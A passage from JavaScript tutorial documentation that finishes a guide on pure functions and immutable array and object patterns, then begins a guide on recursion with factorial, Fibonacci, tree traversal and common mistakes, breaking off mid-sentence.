--- ## The #1 Pure Functions Mistake: Mutations The most common way developers accidentally create impure functions is by **mutating objects or arrays** that were passed in. ```javascript // ❌ IMPURE: Mutates the input array function addItem(cart, item) { cart.push(item) // This changes the original cart! return cart } const myCart = ['apple', 'banana'] const newCart = addItem(myCart, 'orange') console.log(myCart) // ['apple', 'banana', 'orange'] — Original changed! console.log(newCart) // ['apple', 'banana', 'orange'] console.log(myCart === newCart) // true — They're the same array! ``` This creates bugs because any other code using `myCart` now sees unexpected changes. The fix is simple: return a **new** array instead of modifying the original. ```javascript // ✓ PURE: Returns a new array, original unchanged function addItem(cart, item) { return [...cart, item] // Spread into new array } const myCart = ['apple', 'banana'] const newCart = addItem(myCart, 'orange') console.log(myCart) // ['apple', 'banana'] — Original unchanged! console.log(newCart) // ['apple', 'banana', 'orange'] console.log(myCart === newCart) // false — Different arrays ``` ### Shallow Copy Trap Watch out: the [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax) only creates a **shallow copy**. Nested objects are still shared: ```javascript // ⚠️ DANGER: Shallow copy with nested objects const user = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } const updatedUser = { ...user, name: 'Bob' } // Top level is a new object... console.log(user === updatedUser) // false ✓ // But nested object is SHARED updatedUser.address.city = 'LA' console.log(user.address.city) // 'LA'. Original changed! ``` For nested objects, use [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/structuredClone) for a deep copy: ```javascript // ✓ SAFE: Deep clone for nested objects const user = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } const updatedUser = { ...structuredClone(user), name: 'Bob' } updatedUser.address.city = 'LA' console.log(user.address.city) // 'NYC' — Original safe! ``` <Note> **Limitation:** `structuredClone()` cannot clone functions or DOM nodes. It will throw a `DataCloneError` for these types. </Note> <Warning> **The Trap:** Spread operator (`...`) only copies one level deep. If you have nested objects or arrays, mutations to the nested data will affect the original. Use `structuredClone()` for deep copies, or see our [Primitives vs Objects](/concepts/primitives-objects) guide for more patterns. </Warning> --- ## Immutable Patterns for Pure Functions Here are the most common patterns for writing pure functions that handle objects and arrays: ### Updating Objects ```javascript // ❌ IMPURE: Mutates the object function updateEmail(user, email) { user.email = email return user } // ✓ PURE: Returns new object with updated property function updateEmail(user, email) { return { ...user, email } } ``` ### Adding to Arrays ```javascript // ❌ IMPURE: Mutates the array function addTodo(todos, newTodo) { todos.push(newTodo) return todos } // ✓ PURE: Returns new array with item added function addTodo(todos, newTodo) { return [...todos, newTodo] } ``` ### Removing from Arrays ```javascript // ❌ IMPURE: Mutates the array function removeTodo(todos, index) { todos.splice(index, 1) return todos } // ✓ PURE: Returns new array without the item function removeTodo(todos, index) { return todos.filter((_, i) => i !== index) } ``` ### Updating Array Items ```javascript // ❌ IMPURE: Mutates item in array function completeTodo(todos, index) { todos[index].completed = true return todos } // ✓ PURE: Returns new array with updated item function completeTodo(todos, index) { return todos.map((todo, i) => i === index ? { ...todo, completed: true } : todo ) } ``` ### Sorting Arrays ```javascript // ❌ IMPURE: sort() mutates the original array! function getSorted(numbers) { return numbers.sort((a, b) => a - b) } // ✓ PURE: Copy first, then sort function getSorted(numbers) { return [...numbers].sort((a, b) => a - b) } // ✓ PURE (ES2023+): Use toSorted() which returns a new array function getSorted(numbers) { return numbers.toSorted((a, b) => a - b) } ``` <Tip> **ES2023 added non-mutating versions** of several array methods: `toSorted()`, `toReversed()`, `toSpliced()`, and `with()`. These are perfect for pure functions. Check browser support before using in production. </Tip> --- ## Why Pure Functions Matter Writing pure functions isn't just about following rules. It brings real, practical benefits: <AccordionGroup> <Accordion title="1. Easier to Test"> Pure functions are a testing dream. No mocking, no setup, no cleanup. Just call the function and check the result. ```javascript // Testing a pure function is trivial function add(a, b) { return a + b } // Test expect(add(2, 3)).toBe(5) expect(add(-1, 1)).toBe(0) expect(add(0, 0)).toBe(0) // Done! No mocks, no setup, no teardown ``` Compare this to testing a function that reads from the DOM, makes API calls, or depends on global state. You'd need elaborate setup just to run one test. </Accordion> <Accordion title="2. Easier to Debug"> When something goes wrong, pure functions narrow down the problem fast. If a pure function returns the wrong value, the bug is in *that function*. It can't be caused by some other code changing global state. ```javascript // If calculateTax(100, 0.08) returns the wrong value, // the bug MUST be inside calculateTax. // No need to check what other code ran before it. function calculateTax(amount, rate) { return amount * rate } ``` </Accordion> <Accordion title="3. Safe to Cache (Memoization)"> Since pure functions always return the same output for the same input, you can safely cache their results. This is called memoization. ```javascript // Expensive calculation - safe to cache because it's pure function fibonacci(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) } // With memoization, fibonacci(40) computes once, then returns cached result ``` You can't safely cache impure functions because they might need to return different values even with the same inputs. </Accordion> <Accordion title="4. Safe to Parallelize"> Pure functions don't depend on shared state, so they can safely run in parallel. This is how libraries like TensorFlow process massive datasets across multiple CPU cores or GPU threads. ```javascript // These can all run at the same time - no conflicts! const results = await Promise.all([ processChunk(data.slice(0, 1000)), processChunk(data.slice(1000, 2000)), processChunk(data.slice(2000, 3000)) ]) ``` </Accordion> <Accordion title="5. Easier to Understand"> When you see a pure function, you know everything it can do is right there in the code. No hidden dependencies, no spooky action at a distance. ```javascript // You can understand this function completely by reading it function formatPrice(cents, currency = 'USD') { const dollars = cents / 100 return new Intl.NumberFormat('en-US', { style: 'currency', currency }).format(dollars) } ``` This function uses [`Intl.NumberFormat`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat) but remains pure because the same inputs always produce the same formatted output. </Accordion> </AccordionGroup> --- ## When Pure Functions Aren't Possible Let's be realistic: you can't build useful applications with *only* pure functions. At some point you need to: - Read from and write to the DOM - Make HTTP requests - Log errors - Save to localStorage - Respond to user events The strategy is to **push impure code to the edges** of your application. Keep the core logic pure, and isolate the impure parts. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ STRUCTURE OF A WELL-DESIGNED APP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ EDGES (Impure) CORE (Pure) EDGES (Impure) │ │ ────────────── ────────── ────────────── │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Read from │ │ Transform │ │ Write to │ │ │ │ DOM, API, │ ──────► │ Calculate │ ──────► │ DOM, API, │ │ │ │ user input │ │ Process │ │ console │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ INPUT LOGIC OUTPUT │ │ (impure) (pure) (impure) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Example: Separating Pure from Impure ```javascript // IMPURE: Reads from DOM function getUserInput() { return document.querySelector('#username').value } // PURE: Transforms data (no DOM access) function formatUsername(name) { return name.trim().toLowerCase() } // PURE: Validates data (no side effects) function isValidUsername(name) { return name.length >= 3 && name.length <= 20 } // IMPURE: Writes to DOM function displayError(message) { document.querySelector('#error').textContent = message } // Orchestration: impure code at the edges function handleSubmit() { const raw = getUserInput() // Impure: read const formatted = formatUsername(raw) // Pure: transform const isValid = isValidUsername(formatted) // Pure: validate if (!isValid) { displayError('Username must be 3-20 characters') // Impure: write } } ``` The pure functions (`formatUsername`, `isValidUsername`) are easy to test and reuse. The impure functions are isolated at the edges where they're easy to find and manage. --- ## Key Takeaways <Info> **The key things to remember about pure functions:** 1. **Two rules define purity**: same input → same output, and no side effects 2. **Side effects** include mutations, console.log, DOM access, HTTP requests, randomness, and current time 3. **Mutations are the #1 trap**. Use spread operator or `structuredClone()` to return new data instead 4. **Shallow copies aren't enough** for nested objects. The spread operator only copies one level deep 5. **Pure functions are easier to test**. No mocking, no setup. Just input and expected output 6. **Pure functions are easier to debug**. If the output is wrong, the bug is in that function 7. **Pure functions can be cached**. Same input always means same output, so memoization is safe 8. **You can't avoid impurity entirely**. The goal is to isolate it at the edges of your application 9. **console.log is technically impure** but acceptable for debugging. Just don't let it slip into logic that should be pure 10. **ES2023 added `toSorted()`, `toReversed()`** and other non-mutating array methods. Use them when you can! </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What two rules define a pure function?"> **Answer:** A pure function must follow both rules: 1. **Same input → Same output**: Given the same arguments, it always returns the same result (referential transparency) 2. **No side effects**: It doesn't modify anything outside itself (no mutations, no I/O, no external state changes) ```javascript // Pure: follows both rules function multiply(a, b) { return a * b } ``` </Accordion> <Accordion title="Question 2: Is this function pure? Why or why not?"> ```javascript function greet(name) { return `Hello, ${name}! The time is ${new Date().toLocaleTimeString()}` } ``` **Answer:** No, this function is **impure**. It breaks Rule 1 (same input → same output) because it uses `new Date()`. Calling `greet('Alice')` at 10:00 AM gives a different result than calling it at 3:00 PM, even though the input is the same. To make it pure, pass the time as a parameter: ```javascript function greet(name, time) { return `Hello, ${name}! The time is ${time}` } ``` </Accordion> <Accordion title="Question 3: What's wrong with this function?"> ```javascript function addToCart(cart, item) { cart.push(item) return cart } ``` **Answer:** This function **mutates its input**. The `push()` method modifies the original `cart` array, which is a side effect. Any other code using that cart array will see unexpected changes. Fix it by returning a new array: ```javascript function addToCart(cart, item) { return [...cart, item] } ``` </Accordion> <Accordion title="Question 4: How do you safely update a nested object in a pure function?"> **Answer:** Use `structuredClone()` for a deep copy, or carefully spread at each level: ```javascript // Option 1: structuredClone (simplest) function updateCity(user, newCity) { const copy = structuredClone(user) copy.address.city = newCity return copy } // Option 2: Spread at each level function updateCity(user, newCity) { return { ...user, address: { ...user.address, city: newCity } } } ``` Note: A simple `{ ...user }` shallow copy would still share the nested `address` object with the original. </Accordion> <Accordion title="Question 5: Why are pure functions easier to test?"> **Answer:** Pure functions only depend on their inputs and only produce their return value. This means: - **No setup needed**: You don't need to configure global state, mock APIs, or set up DOM elements - **No cleanup needed**: The function doesn't change anything, so there's nothing to reset - **Predictable**: Same input always gives same output, so tests are deterministic - **Isolated**: If a test fails, the bug must be in that function ```javascript // Testing a pure function - simple and straightforward expect(add(2, 3)).toBe(5) expect(formatName(' ALICE ')).toBe('alice') expect(isValidEmail('test@example.com')).toBe(true) ``` </Accordion> <Accordion title="Question 6: When is it okay to have impure functions?"> **Answer:** Impure functions are necessary for any real application. You need them to: - Read user input from the DOM - Make HTTP requests to APIs - Write output to the screen - Save data to localStorage or databases - Log errors and debugging info The strategy is to **isolate impurity at the edges** of your application. Keep your core business logic in pure functions, and use impure functions only for I/O operations. This gives you the best of both worlds: testable, predictable logic with the ability to interact with the outside world. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a pure function in JavaScript?"> A pure function always returns the same output for the same input and produces no side effects — it doesn't modify external variables, the DOM, or any state outside itself. As [MDN's glossary](https://developer.mozilla.org/en-US/docs/Glossary/Function) explains, JavaScript functions are objects that can encapsulate logic, and pure functions use that encapsulation to guarantee predictability. </Accordion> <Accordion title="What are side effects in JavaScript?"> Side effects are any observable changes a function makes beyond returning a value. Common side effects include modifying global variables, writing to the DOM, making HTTP requests, logging to the console, and writing to local storage. Pure functions avoid all of these. </Accordion> <Accordion title="Why are pure functions easier to test?"> Pure functions need no mocking, no setup, and no teardown. You pass inputs and assert outputs — that's it. According to the Stack Overflow 2023 Developer Survey, testing difficulty is one of the top challenges developers face, and pure functions directly reduce that complexity. </Accordion> <Accordion title="Is console.log a side effect?"> Yes. `console.log()` writes to an external output stream (the browser console or terminal), which is an observable effect beyond returning a value. A function that calls `console.log()` is technically impure, even though it's harmless in practice. In production code, logging is an acceptable impurity kept at the edges of your application. </Accordion> <Accordion title="What is referential transparency?"> Referential transparency means you can replace a function call with its return value without changing the program's behavior. For example, if `add(2, 3)` always returns `5`, you can substitute `5` anywhere `add(2, 3)` appears. This property makes code easier to reason about and enables compiler optimizations. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Primitives vs Objects" icon="diagram-project" href="/concepts/primitives-objects"> Understanding mutations, shallow vs deep copies, and why objects behave differently than primitives </Card> <Card title="Higher-Order Functions" icon="arrows-repeat" href="/concepts/higher-order-functions"> Functions that take or return functions, perfect for composing pure functions </Card> <Card title="map, reduce & filter" icon="filter" href="/concepts/map-reduce-filter"> Non-mutating array methods that return new arrays, ideal for pure functions </Card> <Card title="Currying & Composition" icon="wand-magic-sparkles" href="/concepts/currying-composition"> Advanced patterns for building complex pure functions from simple ones </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Array Methods — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array"> Complete reference for all array methods, including which ones mutate </Card> <Card title="Spread Syntax — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax"> How to use the spread operator for shallow copies of arrays and objects </Card> <Card title="structuredClone() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/structuredClone"> Modern API for deep cloning objects, including nested structures </Card> <Card title="Object.freeze() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze"> How to make objects immutable (though only shallowly) </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="What Is a Pure Function in JavaScript?" icon="newspaper" href="https://www.freecodecamp.org/news/what-is-a-pure-function-in-javascript-acb887375dfe/"> Yazeed Bzadough's checklist approach with clear examples. Perfect starting point for understanding the two rules of pure functions and common side effects. </Card> <Card title="Master the JavaScript Interview: What is a Pure Function?" icon="newspaper" href="https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976"> Eric Elliott's deep dive into referential transparency and shared state. Includes real-world examples of race conditions caused by impure functions. </Card> <Card title="Making your JavaScript Pure" icon="newspaper" href="https://alistapart.com/article/making-your-javascript-pure/"> Jack Franklin's practical guide focusing on testability. Excellent "before and after" refactoring examples that show how to transform impure code. </Card> <Card title="How to Deal with Dirty Side Effects in Pure Functional JavaScript" icon="newspaper" href="https://jrsinclair.com/articles/2018/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript/"> James Sinclair's advanced guide to dependency injection and the Effect pattern. For when you're ready to take functional programming to the next level. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Refactoring Into Pure Functions — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=cUrEedgvJSk"> Mattias Petter Johansson demonstrates refactoring JavaScript code into tiny, pure, composable functions. Part of his excellent functional programming series that makes complex topics approachable. </Card> <Card title="Pure vs Impure Functions" icon="video" href="https://www.youtube.com/watch?v=AHbRVJzpB54"> Theodore Anderson's clear comparison of pure and impure functions with practical JavaScript examples and visual explanations. </Card> <Card title="JavaScript Pure Functions" icon="video" href="https://www.youtube.com/watch?v=frT3H-eBmPc"> Seth Alexander's focused tutorial covering the fundamentals of pure functions and their benefits for writing maintainable code. </Card> </CardGroup> ================================================ FILE: docs/concepts/recursion.mdx ================================================ --- title: "Recursion" sidebarTitle: "Recursion: Functions That Call Themselves" description: "Learn recursion in JavaScript. Understand base cases, recursive calls, the call stack, and patterns like factorial, tree traversal, and memoization." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Functional Programming" "article:tag": "recursion, recursive functions, base case, call stack, tree traversal, memoization" --- How do you solve a problem by breaking it into smaller versions of the same problem? What if a function could call itself to chip away at a task until it's done? ```javascript function countdown(n) { if (n === 0) { console.log("Done!") return } console.log(n) countdown(n - 1) // The function calls itself! } countdown(3) // 3 // 2 // 1 // Done! ``` This is **[recursion](https://developer.mozilla.org/en-US/docs/Glossary/Recursion)**. The `countdown` function calls itself with a smaller number each time until it reaches zero. It's a powerful technique that lets you solve complex problems by breaking them into simpler, self-similar pieces. <Info> **What you'll learn in this guide:** - What recursion is and its two essential parts (base case and recursive case) - How recursion relates to the call stack - Classic recursive algorithms: factorial, Fibonacci, sum - Practical applications: traversing trees, nested objects, linked lists - Recursion vs iteration: when to use each - Common mistakes and how to avoid stack overflow - Optimization techniques: memoization and tail recursion </Info> <Warning> **Prerequisite:** This guide assumes you understand [JavaScript functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions). It also helps to know how the [call stack](/concepts/call-stack) works, though we'll cover that relationship here. </Warning> --- ## What is Recursion? **[Recursion](https://developer.mozilla.org/en-US/docs/Glossary/Recursion)** is a programming technique where a function calls itself to solve a problem. Instead of using loops, the function breaks a problem into smaller versions of the same problem until it reaches a case simple enough to solve directly. The [ECMAScript specification](https://tc39.es/ecma262/#sec-function-definitions) allows functions to reference themselves within their own body, which is the mechanism that makes recursion possible in JavaScript. <Note> **Recursion isn't unique to JavaScript.** It's a fundamental computer science concept found in virtually every programming language. The patterns you learn here apply whether you're writing Python, C++, Java, or any other language. </Note> Every recursive function has two essential parts: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE TWO PARTS OF RECURSION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ function solve(problem) { │ │ │ │ if (problem is simple enough) { ← BASE CASE │ │ return solution directly Stops the recursion │ │ } │ │ │ │ return solve(smaller problem) ← RECURSIVE CASE │ │ } Calls itself with simpler input│ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` 1. **Base Case**: The condition that stops the recursion. Without it, the function would call itself forever. 2. **Recursive Case**: The part where the function calls itself with a simpler or smaller version of the problem. Here's a simple example that sums numbers from 1 to `n`: ```javascript function sumTo(n) { // Base case: when n is 1 or less, return n if (n <= 1) { return n } // Recursive case: n plus the sum of everything below it return n + sumTo(n - 1) } console.log(sumTo(5)) // 15 (5 + 4 + 3 + 2 + 1) console.log(sumTo(1)) // 1 console.log(sumTo(0)) // 0 ``` The function asks: "What's the sum from 1 to 5?" It answers: "5 plus the sum from 1 to 4." Then it asks the same question with 4, then 3, then 2, until it reaches 1, which it knows is just 1. --- ## The Russian Dolls Analogy Think of recursion like opening a set of Russian nesting dolls (matryoshka). Each doll contains a smaller version of itself, and you keep opening them until you reach the smallest one that can't be opened. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE RUSSIAN DOLLS ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Opening the dolls (making recursive calls): │ │ │ │ ╔═══════════════════════════════╗ │ │ ║ ║ │ │ ║ ╔═══════════════════════╗ ║ │ │ ║ ║ ║ ║ │ │ ║ ║ ╔═══════════════╗ ║ ║ │ │ ║ ║ ║ ║ ║ ║ │ │ ║ ║ ║ ╔═══════╗ ║ ║ ║ │ │ ║ ║ ║ ║ ◆ ║ ║ ║ ║ ← Smallest doll (BASE CASE) │ │ ║ ║ ║ ╚═══════╝ ║ ║ ║ Can't open further │ │ ║ ║ ║ ║ ║ ║ │ │ ║ ║ ╚═══════════════╝ ║ ║ │ │ ║ ║ ║ ║ │ │ ║ ╚═══════════════════════╝ ║ │ │ ║ ║ │ │ ╚═══════════════════════════════╝ │ │ │ │ Each doll = a function call │ │ Opening a doll = making a recursive call │ │ Smallest doll = base case (stop recursing) │ │ Closing dolls back up = returning values back up the chain │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` When you find the smallest doll, you start closing them back up. In recursion, once you hit the base case, the return values bubble back up through each function call until you get your final answer. --- ## How Recursion Works Under the Hood To understand recursion, you need to understand how the [call stack](/concepts/call-stack) works. Every time a function is called, JavaScript creates an **[execution context](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)** and pushes it onto the call stack. When the function returns, its context is popped off. According to [MDN's documentation on call stacks](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack), most browsers have a stack size limit — typically around 10,000–25,000 frames — exceeding it throws a `RangeError: Maximum call stack size exceeded`. With recursion, multiple execution contexts for the *same function* stack up: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE CALL STACK DURING RECURSION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ sumTo(3) calls sumTo(2) calls sumTo(1) │ │ │ │ STACK GROWING: STACK SHRINKING: │ │ ─────────────── ───────────────── │ │ │ │ ┌───────────────┐ ┌───────────────┐ │ │ │ sumTo(1) │ ← current │ │ (popped) │ │ │ returns 1 │ └───────────────┘ │ │ ├───────────────┤ ┌───────────────┐ │ │ │ sumTo(2) │ │ sumTo(2) │ ← current │ │ │ waiting... │ │ returns 2+1=3│ │ │ ├───────────────┤ ├───────────────┤ │ │ │ sumTo(3) │ │ sumTo(3) │ │ │ │ waiting... │ │ waiting... │ │ │ └───────────────┘ └───────────────┘ │ │ │ │ Each call waits for the one above it to return │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Let's trace through `sumTo(3)` step by step: <Steps> <Step title="sumTo(3) is called"> `n` is 3, not 1, so we need to calculate `3 + sumTo(2)`. But we can't add yet because we don't know what `sumTo(2)` returns. This call waits. </Step> <Step title="sumTo(2) is called"> `n` is 2, not 1, so we need `2 + sumTo(1)`. This call also waits. </Step> <Step title="sumTo(1) is called — base case!"> `n` is 1, so we return `1` immediately. No more recursive calls. </Step> <Step title="sumTo(2) resumes"> Now it knows `sumTo(1)` returned 1, so it calculates `2 + 1 = 3` and returns 3. </Step> <Step title="sumTo(3) resumes"> Now it knows `sumTo(2)` returned 3, so it calculates `3 + 3 = 6` and returns 6. </Step> </Steps> ```javascript function sumTo(n) { console.log(`Called sumTo(${n})`) if (n === 1) { console.log(` Base case! Returning 1`) return 1 } const result = n + sumTo(n - 1) console.log(` sumTo(${n}) returning ${result}`) return result } sumTo(3) // Called sumTo(3) // Called sumTo(2) // Called sumTo(1) // Base case! Returning 1 // sumTo(2) returning 3 // sumTo(3) returning 6 ``` <Tip> **Key insight:** Each recursive call creates its own copy of the function's local variables. The `n` in `sumTo(3)` is separate from the `n` in `sumTo(2)`. They don't interfere with each other. </Tip> --- ## Classic Recursive Patterns Here are the most common recursive algorithms you'll encounter. Understanding these patterns will help you recognize when recursion is the right tool. <Note> The examples below assume valid, non-negative integer inputs. In production code, you'd want to validate inputs and handle edge cases like negative numbers or non-integers. </Note> <AccordionGroup> <Accordion title="Factorial (n!)"> The factorial of a number `n` (written as `n!`) is the product of all positive integers from 1 to n: - `5! = 5 × 4 × 3 × 2 × 1 = 120` - `3! = 3 × 2 × 1 = 6` - `1! = 1` - `0! = 1` (by definition) The recursive insight: `n! = n × (n-1)!` ```javascript function factorial(n) { // Base case: 0! and 1! both equal 1 if (n <= 1) { return 1 } // Recursive case: n! = n × (n-1)! return n * factorial(n - 1) } console.log(factorial(5)) // 120 console.log(factorial(0)) // 1 console.log(factorial(1)) // 1 ``` **Trace of `factorial(4)`:** ``` factorial(4) = 4 * factorial(3) = 4 * (3 * factorial(2)) = 4 * (3 * (2 * factorial(1))) = 4 * (3 * (2 * 1)) = 4 * (3 * 2) = 4 * 6 = 24 ``` </Accordion> <Accordion title="Fibonacci Sequence"> The Fibonacci sequence starts with 0 and 1, and each subsequent number is the sum of the two before it: `0, 1, 1, 2, 3, 5, 8, 13, 21, 34, ...` The recursive definition: - `fib(0) = 0` - `fib(1) = 1` - `fib(n) = fib(n-1) + fib(n-2)` for n > 1 ```javascript function fibonacci(n) { // Base cases if (n === 0) return 0 if (n === 1) return 1 // Recursive case: sum of two preceding numbers return fibonacci(n - 1) + fibonacci(n - 2) } console.log(fibonacci(0)) // 0 console.log(fibonacci(1)) // 1 console.log(fibonacci(6)) // 8 console.log(fibonacci(10)) // 55 ``` <Warning> **Performance trap!** This naive implementation is very slow for large numbers. `fibonacci(40)` makes over 300 million function calls because it recalculates the same values repeatedly. We'll fix this with memoization later. </Warning> ``` fibonacci(5) calls: fib(5) / \ fib(4) fib(3) ← fib(3) calculated twice! / \ / \ fib(3) fib(2) fib(2) fib(1) / \ fib(2) fib(1) ``` </Accordion> <Accordion title="Sum of Numbers (1 to n)"> Sum all integers from 1 to n: ```javascript function sumTo(n) { if (n <= 1) return n return n + sumTo(n - 1) } console.log(sumTo(5)) // 15 (1+2+3+4+5) console.log(sumTo(100)) // 5050 console.log(sumTo(0)) // 0 ``` **Note:** There's a mathematical formula for this: `n * (n + 1) / 2`, which is O(1) instead of O(n). For simple sums, the formula is better. But the recursive approach teaches the pattern. </Accordion> <Accordion title="Power Function (x^n)"> Calculate `x` raised to the power of `n`: ```javascript function power(x, n) { // Base case: anything to the power of 0 is 1 if (n === 0) return 1 // Recursive case: x^n = x * x^(n-1) return x * power(x, n - 1) } console.log(power(2, 0)) // 1 console.log(power(2, 3)) // 8 console.log(power(2, 10)) // 1024 console.log(power(3, 4)) // 81 ``` **Optimized version** using the property that `x^n = (x^(n/2))^2`: ```javascript function powerFast(x, n) { if (n === 0) return 1 if (n % 2 === 0) { // Even exponent: x^n = (x^(n/2))^2 const half = powerFast(x, n / 2) return half * half } else { // Odd exponent: x^n = x * x^(n-1) return x * powerFast(x, n - 1) } } console.log(powerFast(2, 10)) // 1024 (but faster!) ``` The optimized version runs in O(log n) time instead of O(n). </Accordion> <Accordion title="Reverse a String"> Reverse a string character by character: ```javascript function reverse(str) { // Base case: empty string or single character if (str.length <= 1) { return str } // Recursive case: last char + reverse of the rest return str[str.length - 1] + reverse(str.slice(0, -1)) } console.log(reverse("hello")) // "olleh" console.log(reverse("a")) // "a" console.log(reverse("")) // "" ``` **How it works:** ``` reverse("cat") = "t" + reverse("ca") = "t" + ("a" + reverse("c")) = "t" + ("a" + "c") = "t" + "ac" = "tac" ``` </Accordion> </AccordionGroup> --- ## Practical Use Cases Recursion really shines when working with **nested or tree-like structures**. These [data structures](/concepts/data-structures) are naturally recursive, and recursion is often the most elegant solution. ### Traversing Nested Objects Imagine you need to find all values in a deeply nested object: ```javascript const data = { name: "Company", departments: { engineering: { frontend: { count: 5 }, backend: { count: 8 } }, sales: { count: 12 } } } function findAllCounts(obj) { let total = 0 for (const key in obj) { if (key === "count") { total += obj[key] } else if (typeof obj[key] === "object" && obj[key] !== null) { // Recurse into nested objects total += findAllCounts(obj[key]) } } return total } console.log(findAllCounts(data)) // 25 ``` Without recursion, you'd need to know exactly how deep the nesting goes. With recursion, it handles any depth automatically. ### Flattening Nested Arrays Turn a deeply nested array into a flat one: ```javascript function flatten(arr) { let result = [] for (const item of arr) { if (Array.isArray(item)) { // Recurse into nested arrays result = result.concat(flatten(item)) } else { result.push(item) } } return result } console.log(flatten([1, [2, [3, 4]], 5])) // [1, 2, 3, 4, 5] console.log(flatten([1, [2, [3, [4, [5]]]]])) // [1, 2, 3, 4, 5] ``` ### Walking the DOM Tree Traverse all elements in an HTML document: ```javascript function walkDOM(node, callback) { // Process this node callback(node) // Recurse into child nodes for (const child of node.children) { walkDOM(child, callback) } } // Example: log all tag names walkDOM(document.body, (node) => { console.log(node.tagName) }) ``` This pattern combines recursion with [higher-order functions](/concepts/higher-order-functions) (the callback). It's how browser developer tools display the DOM tree and how libraries traverse HTML structures. ### Processing Linked Lists A linked list is a classic recursive data structure where each node points to the next: ```javascript const list = { value: 1, next: { value: 2, next: { value: 3, next: null } } } // Sum all values in the list function sumList(node) { if (node === null) return 0 return node.value + sumList(node.next) } console.log(sumList(list)) // 6 // Print list in reverse order function printReverse(node) { if (node === null) return printReverse(node.next) // First, go to the end console.log(node.value) // Then print on the way back } printReverse(list) // 3 // 2 // 1 ``` ### File System Traversal A conceptual example of how file explorers work: ```javascript // Simulated file structure const fileSystem = { name: "root", type: "folder", children: [ { name: "file1.txt", type: "file", size: 100 }, { name: "docs", type: "folder", children: [ { name: "readme.md", type: "file", size: 50 }, { name: "notes.txt", type: "file", size: 25 } ] } ] } function getTotalSize(node) { if (node.type === "file") { return node.size } // Folder: sum sizes of all children let total = 0 for (const child of node.children) { total += getTotalSize(child) } return total } console.log(getTotalSize(fileSystem)) // 175 ``` --- ## Recursion vs Iteration Every recursive solution can be rewritten using loops, and vice versa. Here's when to choose each: | Aspect | Recursion | Iteration (Loops) | |--------|-----------|-------------------| | **Readability** | Often cleaner for tree-like problems | Usually simpler for linear tasks | | **Memory** | Uses call stack (one frame per call) | Uses fixed/minimal memory | | **Performance** | Function call overhead | Generally faster | | **Stack Risk** | Stack overflow possible (~10,000+ calls) | No stack overflow risk | | **Best For** | Trees, graphs, nested structures | Simple counting, linear arrays | <Tabs> <Tab title="Recursive"> ```javascript // Recursive factorial function factorial(n) { if (n <= 1) return 1 return n * factorial(n - 1) } ``` **Pros:** Matches the mathematical definition exactly. Easy to read. **Cons:** Uses O(n) stack space. Could overflow for large n. </Tab> <Tab title="Iterative"> ```javascript // Iterative factorial function factorial(n) { let result = 1 for (let i = 2; i <= n; i++) { result *= i } return result } ``` **Pros:** Uses O(1) space. No stack overflow risk. Faster. **Cons:** Slightly less intuitive mapping to the math. </Tab> </Tabs> ### When to Use Recursion - **Tree structures**: DOM traversal, file systems, org charts - **Divide and conquer algorithms**: Merge sort, quick sort, binary search - **Problems with self-similar subproblems**: Factorial, Fibonacci, fractals - **When code clarity matters more than performance**: Prototyping, readable code ### When to Use Iteration - **Simple loops**: Counting, summing arrays - **Performance-critical code**: Tight loops in hot paths - **Very deep structures**: Anything that might exceed ~10,000 levels - **Memory-constrained environments**: Each recursive call uses stack space <Tip> **Rule of thumb:** Start with whichever approach feels more natural for the problem. If you run into stack overflow issues or performance problems, consider converting to iteration. </Tip> --- ## Common Mistakes Here are the most frequent bugs when writing recursive functions: ### Mistake #1: Missing or Incorrect Base Case Without a base case, the function calls itself forever until the stack overflows: ```javascript // ❌ WRONG - No base case! function countdown(n) { console.log(n) countdown(n - 1) // Never stops! } countdown(3) // 3, 2, 1, 0, -1, -2... CRASH! // RangeError: Maximum call stack size exceeded ``` ```javascript // ✓ CORRECT - Has a base case function countdown(n) { if (n < 0) return // Base case: stop at negative console.log(n) countdown(n - 1) } countdown(3) // 3, 2, 1, 0 (then stops) ``` <Warning> **The error you'll see:** `RangeError: Maximum call stack size exceeded`. This means you've made too many recursive calls without returning. Check your base case! </Warning> ### Mistake #2: Base Case That's Never Reached Even with a base case, if your logic 